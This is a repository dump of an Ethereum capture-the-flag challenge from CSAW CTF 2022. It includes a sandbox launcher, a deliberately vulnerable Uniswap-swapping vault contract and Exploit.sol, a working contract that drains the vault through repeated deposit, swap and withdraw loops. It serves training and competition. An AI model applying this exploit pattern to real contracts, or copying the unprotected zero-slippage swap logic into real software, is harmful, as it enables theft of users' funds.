├── 98-start-gunicorn ├── Dockerfile ├── Exploit.sol ├── README.md ├── contracts ├── Chal.sol ├── IERC20.sol ├── IUniswapV2Router.sol └── Setup.sol ├── deploy └── chal.py ├── eth_sandbox ├── __init__.py ├── auth.py ├── launcher.py └── server.py ├── requirements.txt ├── run.sh ├── solve-pow.py └── solve.sh /98-start-gunicorn: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | PYTHONUNBUFFERED=true gunicorn \ 4 | --user ctf \ 5 | --group ctf \ 6 | --bind 0.0.0.0:$HTTP_PORT \ 7 | --daemon \ 8 | --workers 16 \ 9 | --threads 32 \ 10 | --access-logfile /var/log/ctf/gunicorn.access.log \ 11 | --error-logfile /var/log/ctf/gunicorn.error.log \ 12 | --capture-output \ 13 | --log-level debug \ 14 | eth_sandbox.server:app 15 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcr.io/paradigmxyz/ctf/base:latest 2 | 3 | ENV HTTP_PORT=8545 4 | 5 | COPY requirements.txt /root 6 | 7 | RUN python3 -m pip install -r /root/requirements.txt 8 | 9 | RUN true \ 10 | && curl -L https://foundry.paradigm.xyz | bash \ 11 | && bash -c "source /root/.bashrc && foundryup" \ 12 | && chmod 755 -R /root \ 13 | && true 14 | 15 | COPY 98-start-gunicorn /startup 16 | 17 | COPY eth_sandbox /usr/lib/python/eth_sandbox 18 | 19 | ENV PYTHONPATH /usr/lib/python 20 | 21 | COPY deploy/ /home/ctf/ 22 | 23 | COPY contracts /tmp/contracts 24 | 25 | RUN true \ 26 | && cd /tmp \ 27 | && /root/.foundry/bin/forge build --out /home/ctf/compiled \ 28 | && rm -rf /tmp/contracts \ 29 | && true 30 | -------------------------------------------------------------------------------- /Exploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity ^0.8.13; 4 | 5 | import "./contracts/Setup.sol"; 6 | //import "forge-std/console.sol"; 7 | 8 | contract Exploit { 9 | 10 | address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 11 | address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 12 | address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 13 | address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 14 | 15 | IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER); 16 | IERC20 private dai = IERC20(DAI); 17 | IERC20 private usdc = IERC20(USDC); 18 | IWETH9 private weth = IWETH9(WETH); 19 | 20 | constructor(Setup setup) payable { 21 | weth.approve(address(router), type(uint256).max); 22 | dai.approve(address(router), type(uint256).max); 23 | usdc.approve(address(router), type(uint256).max); 24 | usdc.approve(address(setup.TARGET()), type(uint256).max); 25 | dai.approve(address(setup.TARGET()), type(uint256).max); 26 | 27 | uint bal = address(this).balance; 28 | weth.deposit{ value: bal }(); 29 | 30 | address[] memory path; 31 | path = new address[](2); 32 | 33 | uint exploit_amount = 1 ether; // i just find this sweet spot by hand lol. 34 | { 35 | path[0] = WETH; 36 | path[1] = USDC; 37 | uint[] memory amounts = router.swapExactTokensForTokens( 38 | exploit_amount, 39 | 0, 40 | path, 41 | address(this), 42 | block.timestamp 43 | ); 44 | } 45 | 46 | uint dollars = usdc.balanceOf(address(this))-1; 47 | for (uint i = 0; i < 20; i++) { 48 | //console.log("iteration", i); 49 | //console.log("old dollars", usdc.balanceOf(address(this))); 50 | 51 | // 1. 52 | setup.TARGET().depositUSDC(dollars/2); 53 | 54 | // 2. 55 | { 56 | path[0] = USDC; 57 | path[1] = DAI; 58 | uint[] memory amounts = router.swapExactTokensForTokens( 59 | dollars/2, 60 | 0, 61 | path, 62 | address(this), 63 | block.timestamp 64 | ); 65 | } 66 | 67 | // 3. 68 | setup.TARGET().withdrawDAI(setup.TARGET().balanceOf(address(this))); 69 | 70 | // 4. 71 | // console.log("cur usdc ", usdc.balanceOf(address(this))); 72 | // console.log("cur dai ", dai.balanceOf(address(this))); 73 | { 74 | path[0] = DAI; 75 | path[1] = USDC; 76 | uint[] memory amounts = router.swapExactTokensForTokens( 77 | dai.balanceOf(address(this)), 78 | 0, 79 | path, 80 | address(this), 81 | block.timestamp 82 | ); 83 | } 84 | 85 | //console.log("new dollars", usdc.balanceOf(address(this))); 86 | //console.log("new balance ", usdc.balanceOf(address(setup.TARGET())) + dai.balanceOf(address(setup.TARGET()))/10e12); 87 | if (setup.isSolved()) { 88 | //console.log("solved?"); 89 | return; 90 | } 91 | } 92 | require(false); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Example Ethereum CTF challenge 2 | 3 | This challenge uses the Ethereum ctf challenge framework developed by samczsun at Paradigm. It was originally written for CSAW CTF 2022. 4 | 5 | We've made this challenge public so as to provide a self-contained example on how to use Paradigm's CTF framework. 6 | 7 | See [this blog post](https://www.zellic.io/blog/how-to-create-an-ethereum-ctf-challenge) for more information. Pull requests welcome! 8 | 9 | ## Installing 10 | 11 | ### Prerequisites 12 | 13 | * Docker 14 | * [mpwn](https://github.com/lunixbochs/mpwn) 15 | * Python 3 16 | 17 | ### Configuration 18 | 19 | You'll need to set the following environment variables: 20 | * `ETH_RPC_URL` to a valid Ethereum JSON-RPC endpoint 21 | * `PYTHONPATH` to point to mpwn 22 | 23 | You'll also need to manually install the following: 24 | * `pip install yaml ecdsa pysha3 web3` 25 | 26 | ## Usage 27 | 28 | ### Build everything 29 | 30 | ```bash 31 | docker buildx build --platform linux/amd64 -t mytag . 32 | ``` 33 | 34 | ### Run a challenge 35 | 36 | Running a challenge will open a port which users will `nc` to. For Ethereum/Starknet related 37 | challenges, an additional port must be supplied so that users can connect to the Ethereum/Starknet 38 | node 39 | 40 | ``` 41 | ./run.sh mytag 31337 8545 42 | ``` 43 | 44 | On another terminal: 45 | 46 | ``` 47 | nc localhost 31337 48 | ``` 49 | 50 | When prompted for the ticket, they will need to solve a PoW. This ticket should NOT be shared between teams, it's a secret. 51 | 52 | ``` 53 | $ nc localhost 31337 54 | 1 - launch new instance 55 | 2 - kill instance 56 | 3 - get flag 57 | action? 1 58 | ticket please: ticket 59 | 60 | your private blockchain has been deployed 61 | it will automatically terminate in 30 minutes 62 | here's some useful information 63 | ``` 64 | 65 | ### How to solve it 66 | 67 | See solve.sh, basically just deploy Exploit.sol contract and run it. Constructor expects 100 eth and parameter is setup contract address 68 | -------------------------------------------------------------------------------- /contracts/Chal.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | // Challenge author: stong (cts), Zellic Inc. 4 | // Challenge prepared for CSAW CTF 2022 5 | 6 | pragma solidity ^0.8.13; 7 | 8 | import "./IUniswapV2Router.sol"; 9 | import "./IERC20.sol"; 10 | 11 | contract Chal { 12 | address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 13 | address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 14 | address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 15 | 16 | IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER); 17 | IERC20 private dai = IERC20(DAI); 18 | IERC20 private usdc = IERC20(USDC); 19 | 20 | mapping (address => uint) public balanceOf; 21 | 22 | constructor() { 23 | dai.approve(address(router), type(uint256).max); 24 | usdc.approve(address(router), type(uint256).max); 25 | } 26 | 27 | function depositUSDC(uint amountIn) public { 28 | bool success = usdc.transferFrom(msg.sender, address(this), amountIn); 29 | require(success); 30 | balanceOf[msg.sender] += amountIn; 31 | } 32 | 33 | function depositDAI(uint amountIn) public { 34 | bool success = dai.transferFrom(msg.sender, address(this), amountIn); 35 | require(success); 36 | balanceOf[msg.sender] += amountIn/10e12; 37 | } 38 | 39 | function withdrawUSDC(uint amountOut) public { 40 | require(balanceOf[msg.sender] >= amountOut); 41 | balanceOf[msg.sender] -= amountOut; 42 | 43 | if (usdc.balanceOf(address(this)) < amountOut) { 44 | address[] memory path; 45 | path = new address[](2); 46 | path[0] = DAI; 47 | path[1] = USDC; 48 | 49 | uint[] memory amounts = router.swapExactTokensForTokens( 50 | dai.balanceOf(address(this)), 51 | 0, 52 | path, 53 | address(this), 54 | block.timestamp 55 | ); 56 | } 57 | 58 | usdc.transfer(msg.sender, amountOut); 59 | } 60 | 61 | function withdrawDAI(uint amountOut) public { 62 | require(balanceOf[msg.sender] >= amountOut); 63 | balanceOf[msg.sender] -= amountOut; 64 | 65 | if (dai.balanceOf(address(this)) < amountOut*10e12) { 66 | address[] memory path; 67 | path = new address[](2); 68 | path[0] = USDC; 69 | path[1] = DAI; 70 | 71 | uint[] memory amounts = router.swapExactTokensForTokens( 72 | usdc.balanceOf(address(this)), 73 | 0, 74 | path, 75 | address(this), 76 | block.timestamp 77 | ); 78 | } 79 | 80 | dai.transfer(msg.sender, amountOut*10e12); 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /contracts/IERC20.sol: -------------------------------------------------------------------------------- 1 | interface IERC20 { 2 | /** 3 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 4 | * another (`to`). 5 | * 6 | * Note that `value` may be zero. 7 | */ 8 | event Transfer(address indexed from, address indexed to, uint256 value); 9 | 10 | /** 11 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 12 | * a call to {approve}. `value` is the new allowance. 13 | */ 14 | event Approval(address indexed owner, address indexed spender, uint256 value); 15 | 16 | /** 17 | * @dev Returns the amount of tokens in existence. 18 | */ 19 | function totalSupply() external view returns (uint256); 20 | 21 | /** 22 | * @dev Returns the amount of tokens owned by `account`. 23 | */ 24 | function balanceOf(address account) external view returns (uint256); 25 | 26 | /** 27 | * @dev Moves `amount` tokens from the caller's account to `to`. 28 | * 29 | * Returns a boolean value indicating whether the operation succeeded. 30 | * 31 | * Emits a {Transfer} event. 32 | */ 33 | function transfer(address to, uint256 amount) external returns (bool); 34 | 35 | /** 36 | * @dev Returns the remaining number of tokens that `spender` will be 37 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 38 | * zero by default. 39 | * 40 | * This value changes when {approve} or {transferFrom} are called. 41 | */ 42 | function allowance(address owner, address spender) external view returns (uint256); 43 | 44 | /** 45 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 46 | * 47 | * Returns a boolean value indicating whether the operation succeeded. 48 | * 49 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 50 | * that someone may use both the old and the new allowance by unfortunate 51 | * transaction ordering. One possible solution to mitigate this race 52 | * condition is to first reduce the spender's allowance to 0 and set the 53 | * desired value afterwards: 54 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 55 | * 56 | * Emits an {Approval} event. 57 | */ 58 | function approve(address spender, uint256 amount) external returns (bool); 59 | 60 | /** 61 | * @dev Moves `amount` tokens from `from` to `to` using the 62 | * allowance mechanism. `amount` is then deducted from the caller's 63 | * allowance. 64 | * 65 | * Returns a boolean value indicating whether the operation succeeded. 66 | * 67 | * Emits a {Transfer} event. 68 | */ 69 | function transferFrom( 70 | address from, 71 | address to, 72 | uint256 amount 73 | ) external returns (bool); 74 | } 75 | 76 | 77 | interface IWETH9 is IERC20 { 78 | function deposit() external payable; 79 | function withdraw(uint256 _amount) external; 80 | } 81 | -------------------------------------------------------------------------------- /contracts/IUniswapV2Router.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BUSL-1.1 2 | 3 | interface IUniswapV2Router { 4 | function factory() external view returns (address); 5 | 6 | function getAmountsOut(uint amountIn, address[] calldata path) 7 | external 8 | view 9 | returns (uint[] memory amounts); 10 | 11 | function getAmountsIn(uint amountOut, address[] calldata path) 12 | external 13 | view 14 | returns (uint[] memory amounts); 15 | 16 | function addLiquidity( 17 | address tokenA, 18 | address tokenB, 19 | uint amountADesired, 20 | uint amountBDesired, 21 | uint amountAMin, 22 | uint amountBMin, 23 | address to, 24 | uint deadline 25 | ) 26 | external 27 | returns ( 28 | uint amountA, 29 | uint amountB, 30 | uint liquidity 31 | ); 32 | 33 | function addLiquidityETH( 34 | address token, 35 | uint amountTokenDesired, 36 | uint amountTokenMin, 37 | uint amountETHMin, 38 | address to, 39 | uint deadline 40 | ) 41 | external 42 | payable 43 | returns ( 44 | uint amountToken, 45 | uint amountETH, 46 | uint liquidity 47 | ); 48 | 49 | function removeLiquidity( 50 | address tokenA, 51 | address tokenB, 52 | uint liquidity, 53 | uint amountAMin, 54 | uint amountBMin, 55 | address to, 56 | uint deadline 57 | ) external returns (uint amountA, uint amountB); 58 | 59 | function removeLiquidityETH( 60 | address token, 61 | uint liquidity, 62 | uint amountTokenMin, 63 | uint amountETHMin, 64 | address to, 65 | uint deadline 66 | ) external returns (uint amountToken, uint amountETH); 67 | 68 | function swapExactTokensForTokens( 69 | uint amountIn, 70 | uint amountOutMin, 71 | address[] calldata path, 72 | address to, 73 | uint deadline 74 | ) external returns (uint[] memory amounts); 75 | 76 | function swapTokensForExactTokens( 77 | uint amountOut, 78 | uint amountInMax, 79 | address[] calldata path, 80 | address to, 81 | uint deadline 82 | ) external returns (uint[] memory amounts); 83 | 84 | function swapExactETHForTokens( 85 | uint amountOutMin, 86 | address[] calldata path, 87 | address to, 88 | uint deadline 89 | ) external payable returns (uint[] memory amounts); 90 | 91 | function swapTokensForExactETH( 92 | uint amountOut, 93 | uint amountInMax, 94 | address[] calldata path, 95 | address to, 96 | uint deadline 97 | ) external returns (uint[] memory amounts); 98 | 99 | function swapExactTokensForETH( 100 | uint amountIn, 101 | uint amountOutMin, 102 | address[] calldata path, 103 | address to, 104 | uint deadline 105 | ) external returns (uint[] memory amounts); 106 | 107 | function swapETHForExactTokens( 108 | uint amountOut, 109 | address[] calldata path, 110 | address to, 111 | uint deadline 112 | ) external payable returns (uint[] memory amounts); 113 | } 114 | -------------------------------------------------------------------------------- /contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "./Chal.sol"; 4 | 5 | contract Setup { 6 | Chal public immutable TARGET; 7 | 8 | address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 9 | address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 10 | address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 11 | address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 12 | 13 | IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER); 14 | IERC20 private dai = IERC20(DAI); 15 | IERC20 private usdc = IERC20(USDC); 16 | IWETH9 private weth = IWETH9(WETH); 17 | 18 | uint private initialBalance; 19 | 20 | constructor() payable { 21 | TARGET = new Chal(); 22 | 23 | require(msg.value == 100 ether); 24 | 25 | weth.deposit{ value: 100 ether }(); 26 | 27 | weth.approve(address(router), type(uint256).max); 28 | dai.approve(address(router), type(uint256).max); 29 | usdc.approve(address(router), type(uint256).max); 30 | 31 | address[] memory path; 32 | path = new address[](2); 33 | 34 | { 35 | path[0] = WETH; 36 | path[1] = USDC; 37 | uint[] memory amounts = router.swapExactTokensForTokens( 38 | 50 ether, 39 | 0, 40 | path, 41 | address(TARGET), 42 | block.timestamp 43 | ); 44 | } 45 | 46 | { 47 | path[0] = WETH; 48 | path[1] = DAI; 49 | uint[] memory amounts = router.swapExactTokensForTokens( 50 | 50 ether, 51 | 0, 52 | path, 53 | address(TARGET), 54 | block.timestamp 55 | ); 56 | } 57 | 58 | initialBalance = curTargetBalance(); 59 | } 60 | 61 | function curTargetBalance() public view returns (uint) { 62 | return usdc.balanceOf(address(TARGET)) + dai.balanceOf(address(TARGET))/10e12; 63 | } 64 | 65 | function isSolved() public view returns (bool) { 66 | return curTargetBalance() < (initialBalance / 10); 67 | } 68 | } -------------------------------------------------------------------------------- /deploy/chal.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pathlib import Path 3 | 4 | import eth_sandbox 5 | from web3 import Web3 6 | 7 | 8 | def deploy(web3: Web3, deployer_address: str, player_address: str) -> str: 9 | rcpt = eth_sandbox.sendTransaction(web3, { 10 | "from": deployer_address, 11 | "value": Web3.toWei(100, 'ether'), 12 | "data": json.loads(Path("compiled/Setup.sol/Setup.json").read_text())["bytecode"]["object"], 13 | }) 14 | 15 | return rcpt.contractAddress 16 | 17 | eth_sandbox.run_launcher([ 18 | eth_sandbox.new_launch_instance_action(deploy), 19 | eth_sandbox.new_kill_instance_action(), 20 | eth_sandbox.new_get_flag_action() 21 | ]) 22 | -------------------------------------------------------------------------------- /eth_sandbox/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import * 2 | from .launcher import * 3 | -------------------------------------------------------------------------------- /eth_sandbox/auth.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def get_shared_secret(): 4 | return os.getenv("SHARED_SECRET", "paradigm-ctf") -------------------------------------------------------------------------------- /eth_sandbox/launcher.py: -------------------------------------------------------------------------------- 1 | import json 2 | import os 3 | import random 4 | import string 5 | import time 6 | import hashlib 7 | from dataclasses import dataclass 8 | from typing import Callable, Dict, List, Optional 9 | from uuid import UUID 10 | 11 | import requests 12 | from eth_account import Account 13 | from web3 import Web3 14 | from web3.exceptions import TransactionNotFound 15 | from web3.types import TxReceipt 16 | 17 | from eth_sandbox import get_shared_secret 18 | 19 | HTTP_PORT = os.getenv("HTTP_PORT", "8545") 20 | PUBLIC_IP = os.getenv("PUBLIC_IP", "127.0.0.1") 21 | 22 | CHALLENGE_ID = os.getenv("CHALLENGE_ID", "challenge") 23 | ENV = os.getenv("ENV", "dev") 24 | FLAG = os.getenv("FLAG", "PCTF{placeholder}") 25 | 26 | Account.enable_unaudited_hdwallet_features() 27 | 28 | 29 | @dataclass 30 | class Ticket: 31 | challenge_id: string 32 | team_id: string 33 | 34 | def check_ticket(ticket: str) -> Ticket: 35 | if len(ticket) > 100 or len(ticket) < 8: 36 | print('invalid ticket length') 37 | return None 38 | if not all(c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for c in ticket): 39 | print('ticket must be alphanumeric') 40 | return None 41 | m = hashlib.sha256() 42 | m.update(ticket.encode('ascii')) 43 | digest1 = m.digest() 44 | m = hashlib.sha256() 45 | m.update(digest1 + ticket.encode('ascii')) 46 | if not m.hexdigest().startswith('0000000'): 47 | print('PoW: sha256(sha256(ticket) + ticket) must start with 0000000') 48 | print('(digest was ' + m.hexdigest() + ')') 49 | return None 50 | print('This ticket is your TEAM SECRET. Do NOT SHARE IT!') 51 | return Ticket(challenge_id=CHALLENGE_ID, team_id=ticket) 52 | 53 | # if ENV == "dev": 54 | # return Ticket(challenge_id=CHALLENGE_ID, team_id="team") 55 | # 56 | # ticket_info = requests.get( 57 | # f"https://us-central1-paradigm-ctf-2022.cloudfunctions.net/checkTicket?ticket={ticket}" 58 | # ).json() 59 | # if ticket_info["status"] != "VALID": 60 | # return None 61 | # 62 | # return Ticket( 63 | # challenge_id=ticket_info["challengeId"], team_id=ticket_info["teamId"] 64 | # ) 65 | 66 | 67 | @dataclass 68 | class Action: 69 | name: str 70 | handler: Callable[[], int] 71 | 72 | 73 | def sendTransaction(web3: Web3, tx: Dict) -> Optional[TxReceipt]: 74 | if "gas" not in tx: 75 | tx["gas"] = 10_000_000 76 | 77 | if "gasPrice" not in tx: 78 | tx["gasPrice"] = 0 79 | 80 | # web3.provider.make_request("anvil_impersonateAccount", [tx["from"]]) 81 | txhash = web3.eth.sendTransaction(tx) 82 | # web3.provider.make_request("anvil_stopImpersonatingAccount", [tx["from"]]) 83 | 84 | while True: 85 | try: 86 | rcpt = web3.eth.getTransactionReceipt(txhash) 87 | break 88 | except TransactionNotFound: 89 | time.sleep(0.1) 90 | 91 | if rcpt.status != 1: 92 | raise Exception("failed to send transaction") 93 | 94 | return rcpt 95 | 96 | 97 | def new_launch_instance_action( 98 | do_deploy: Callable[[Web3, str], str], 99 | ): 100 | def action() -> int: 101 | ticket = check_ticket(input("ticket please: (it should be a SECURE SECRET) ")) 102 | if not ticket: 103 | print("invalid ticket!") 104 | return 1 105 | 106 | if ticket.challenge_id != CHALLENGE_ID: 107 | print("invalid ticket!") 108 | return 1 109 | 110 | data = requests.post( 111 | f"http://127.0.0.1:{HTTP_PORT}/new", 112 | headers={ 113 | "Authorization": f"Bearer {get_shared_secret()}", 114 | "Content-Type": "application/json", 115 | }, 116 | data=json.dumps( 117 | { 118 | "team_id": ticket.team_id, 119 | } 120 | ), 121 | ).json() 122 | 123 | if data["ok"] == False: 124 | print(data["message"]) 125 | return 1 126 | 127 | uuid = data["uuid"] 128 | mnemonic = data["mnemonic"] 129 | 130 | deployer_acct = Account.from_mnemonic(mnemonic, account_path=f"m/44'/60'/0'/0/0") 131 | player_acct = Account.from_mnemonic(mnemonic, account_path=f"m/44'/60'/0'/0/1") 132 | 133 | web3 = Web3(Web3.HTTPProvider( 134 | f"http://127.0.0.1:{HTTP_PORT}/{uuid}", 135 | request_kwargs={ 136 | "headers": { 137 | "Authorization": f"Bearer {get_shared_secret()}", 138 | "Content-Type": "application/json", 139 | }, 140 | }, 141 | )) 142 | 143 | setup_addr = do_deploy(web3, deployer_acct.address, player_acct.address) 144 | 145 | with open(f"/tmp/{ticket.team_id}", "w") as f: 146 | f.write( 147 | json.dumps( 148 | { 149 | "uuid": uuid, 150 | "mnemonic": mnemonic, 151 | "address": setup_addr, 152 | } 153 | ) 154 | ) 155 | 156 | print() 157 | print(f"your private blockchain has been deployed") 158 | print(f"it will automatically terminate in 30 minutes") 159 | print(f"here's some useful information") 160 | print(f"uuid: {uuid}") 161 | print(f"rpc endpoint: http://{PUBLIC_IP}:{HTTP_PORT}/{uuid}") 162 | print(f"private key: {player_acct.privateKey.hex()}") 163 | print(f"your address: {player_acct.address}") 164 | print(f"setup contract: {setup_addr}") 165 | return 0 166 | 167 | return Action(name="launch new instance", handler=action) 168 | 169 | 170 | def new_kill_instance_action(): 171 | def action() -> int: 172 | ticket = check_ticket(input("ticket please: (choose a SECURE SECRET) ")) 173 | if not ticket: 174 | print("invalid ticket!") 175 | return 1 176 | 177 | if ticket.challenge_id != CHALLENGE_ID: 178 | print("invalid ticket!") 179 | return 1 180 | 181 | data = requests.post( 182 | f"http://127.0.0.1:{HTTP_PORT}/kill", 183 | headers={ 184 | "Authorization": f"Bearer {get_shared_secret()}", 185 | "Content-Type": "application/json", 186 | }, 187 | data=json.dumps( 188 | { 189 | "team_id": ticket.team_id, 190 | } 191 | ), 192 | ).json() 193 | 194 | print(data["message"]) 195 | return 1 196 | 197 | return Action(name="kill instance", handler=action) 198 | 199 | def is_solved_checker(web3: Web3, addr: str) -> bool: 200 | result = web3.eth.call( 201 | { 202 | "to": addr, 203 | "data": web3.sha3(text="isSolved()")[:4], 204 | } 205 | ) 206 | return int(result.hex(), 16) == 1 207 | 208 | 209 | def new_get_flag_action( 210 | checker: Callable[[Web3, str], bool] = is_solved_checker, 211 | ): 212 | def action() -> int: 213 | ticket = check_ticket(input("ticket please: (choose a SECURE SECRET) ")) 214 | if not ticket: 215 | print("invalid ticket!") 216 | return 1 217 | 218 | if ticket.challenge_id != CHALLENGE_ID: 219 | print("invalid ticket!") 220 | return 1 221 | 222 | try: 223 | with open(f"/tmp/{ticket.team_id}", "r") as f: 224 | data = json.loads(f.read()) 225 | except: 226 | print("bad ticket") 227 | return 1 228 | 229 | web3 = Web3(Web3.HTTPProvider(f"http://127.0.0.1:{HTTP_PORT}/{data['uuid']}")) 230 | 231 | if not checker(web3, data['address']): 232 | print("are you sure you solved it?") 233 | return 1 234 | 235 | print(FLAG) 236 | print('') 237 | print('for your safety, you should delete your instance now that you are done') 238 | return 0 239 | 240 | return Action(name="get flag", handler=action) 241 | 242 | 243 | def run_launcher(actions: List[Action]): 244 | for i, action in enumerate(actions): 245 | print(f"{i+1} - {action.name}") 246 | 247 | action = int(input("action? ")) - 1 248 | if action < 0 or action >= len(actions): 249 | print("can you not") 250 | exit(1) 251 | 252 | exit(actions[action].handler()) 253 | -------------------------------------------------------------------------------- /eth_sandbox/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import socket 4 | import subprocess 5 | import signal 6 | import sys 7 | import json 8 | import time 9 | from dataclasses import dataclass 10 | from threading import Lock, Thread 11 | from typing import Any, Dict, Tuple 12 | from uuid import uuid4 13 | 14 | import requests 15 | from eth_account.hdaccount import generate_mnemonic 16 | from flask import Flask, Response, redirect, request 17 | from flask_cors import CORS, cross_origin 18 | from web3 import Web3 19 | 20 | from eth_sandbox import * 21 | 22 | app = Flask(__name__) 23 | CORS(app) 24 | 25 | HTTP_PORT = os.getenv("HTTP_PORT", "8545") 26 | ETH_RPC_URL = os.getenv("ETH_RPC_URL") 27 | 28 | try: 29 | os.mkdir("/tmp/instances-by-team") 30 | os.mkdir("/tmp/instances-by-uuid") 31 | except: 32 | pass 33 | 34 | def has_instance_by_uuid(uuid: str) -> bool: 35 | return os.path.exists(f"/tmp/instances-by-uuid/{uuid}") 36 | 37 | 38 | def has_instance_by_team(team: str) -> bool: 39 | return os.path.exists(f"/tmp/instances-by-team/{team}") 40 | 41 | 42 | def get_instance_by_uuid(uuid: str) -> Dict: 43 | with open(f"/tmp/instances-by-uuid/{uuid}", 'r') as f: 44 | return json.loads(f.read()) 45 | 46 | 47 | def get_instance_by_team(team: str) -> Dict: 48 | with open(f"/tmp/instances-by-team/{team}", 'r') as f: 49 | return json.loads(f.read()) 50 | 51 | 52 | def delete_instance_info(node_info: Dict): 53 | os.remove(f'/tmp/instances-by-uuid/{node_info["uuid"]}') 54 | os.remove(f'/tmp/instances-by-team/{node_info["team"]}') 55 | 56 | 57 | def create_instance_info(node_info: Dict): 58 | with open(f'/tmp/instances-by-uuid/{node_info["uuid"]}', "w+") as f: 59 | f.write(json.dumps(node_info)) 60 | 61 | with open(f'/tmp/instances-by-team/{node_info["team"]}', "w+") as f: 62 | f.write(json.dumps(node_info)) 63 | 64 | 65 | def really_kill_node(node_info: Dict): 66 | print(f"killing node {node_info['team']} {node_info['uuid']}") 67 | 68 | delete_instance_info(node_info) 69 | 70 | os.kill(node_info["pid"], signal.SIGTERM) 71 | 72 | 73 | def kill_node(node_info: Dict): 74 | time.sleep(60 * 30) 75 | 76 | if not has_instance_by_uuid(node_info["uuid"]): 77 | return 78 | 79 | really_kill_node(node_info) 80 | 81 | 82 | def launch_node(team_id: str) -> Dict: 83 | port = random.randrange(30000, 60000) 84 | mnemonic = generate_mnemonic(12, "english") 85 | uuid = str(uuid4()) 86 | 87 | proc = subprocess.Popen( 88 | args=[ 89 | "/root/.foundry/bin/anvil", 90 | "--accounts", 91 | "2", # first account is the deployer, second account is for the user 92 | "--balance", 93 | "5000", 94 | "--mnemonic", 95 | mnemonic, 96 | "--port", 97 | str(port), 98 | "--fork-url", 99 | ETH_RPC_URL, 100 | "--block-base-fee-per-gas", 101 | "0", 102 | ], 103 | ) 104 | 105 | web3 = Web3(Web3.HTTPProvider(f"http://127.0.0.1:{port}")) 106 | while True: 107 | if proc.poll() is not None: 108 | return None 109 | if web3.isConnected(): 110 | break 111 | time.sleep(0.1) 112 | 113 | node_info = { 114 | "port": port, 115 | "mnemonic": mnemonic, 116 | "pid": proc.pid, 117 | "uuid": uuid, 118 | "team": team_id, 119 | } 120 | 121 | reaper = Thread(target=kill_node, args=(node_info,)) 122 | reaper.start() 123 | return node_info 124 | 125 | 126 | def is_request_authenticated(request): 127 | token = request.headers.get("Authorization") 128 | 129 | return token == f"Bearer {get_shared_secret()}" 130 | 131 | 132 | @app.route("/") 133 | def index(): 134 | return "sandbox is running!" 135 | 136 | 137 | @app.route("/new", methods=["POST"]) 138 | @cross_origin() 139 | def create(): 140 | if not is_request_authenticated(request): 141 | return { 142 | "ok": False, 143 | "error": "nice try", 144 | } 145 | 146 | body = request.get_json() 147 | 148 | team_id = body["team_id"] 149 | 150 | if has_instance_by_team(team_id): 151 | print(f"refusing to run a new chain for team {team_id}") 152 | return { 153 | "ok": False, 154 | "error": "already_running", 155 | "message": "An instance is already running!", 156 | } 157 | 158 | print(f"launching node for team {team_id}") 159 | 160 | node_info = launch_node(team_id) 161 | if node_info is None: 162 | print(f"failed to launch node for team {team_id}") 163 | return { 164 | "ok": False, 165 | "error": "error_starting_chain", 166 | "message": "An error occurred while starting the chain", 167 | } 168 | create_instance_info(node_info) 169 | 170 | print(f"launched node for team {team_id} (uuid={node_info['uuid']}, pid={node_info['pid']})") 171 | 172 | return { 173 | "ok": True, 174 | "uuid": node_info['uuid'], 175 | "mnemonic": node_info['mnemonic'], 176 | } 177 | 178 | 179 | @app.route("/kill", methods=["POST"]) 180 | @cross_origin() 181 | def kill(): 182 | if not is_request_authenticated(request): 183 | return { 184 | "ok": False, 185 | "error": "nice try", 186 | } 187 | 188 | body = request.get_json() 189 | 190 | team_id = body["team_id"] 191 | 192 | if not has_instance_by_team(team_id): 193 | print(f"no instance to kill for team {team_id}") 194 | return { 195 | "ok": False, 196 | "error": "not_running", 197 | "message": "No instance is running!", 198 | } 199 | 200 | really_kill_node(get_instance_by_team(team_id)) 201 | 202 | return { 203 | "ok": True, 204 | "message": "Instance killed", 205 | } 206 | 207 | 208 | ALLOWED_NAMESPACES = ["web3", "eth", "net"] 209 | 210 | 211 | @app.route("/", methods=["POST"]) 212 | @cross_origin() 213 | def proxy(uuid): 214 | body = request.get_json() 215 | if not body: 216 | return "invalid content type, only application/json is supported" 217 | 218 | if "id" not in body: 219 | return "" 220 | 221 | if not has_instance_by_uuid(uuid): 222 | return { 223 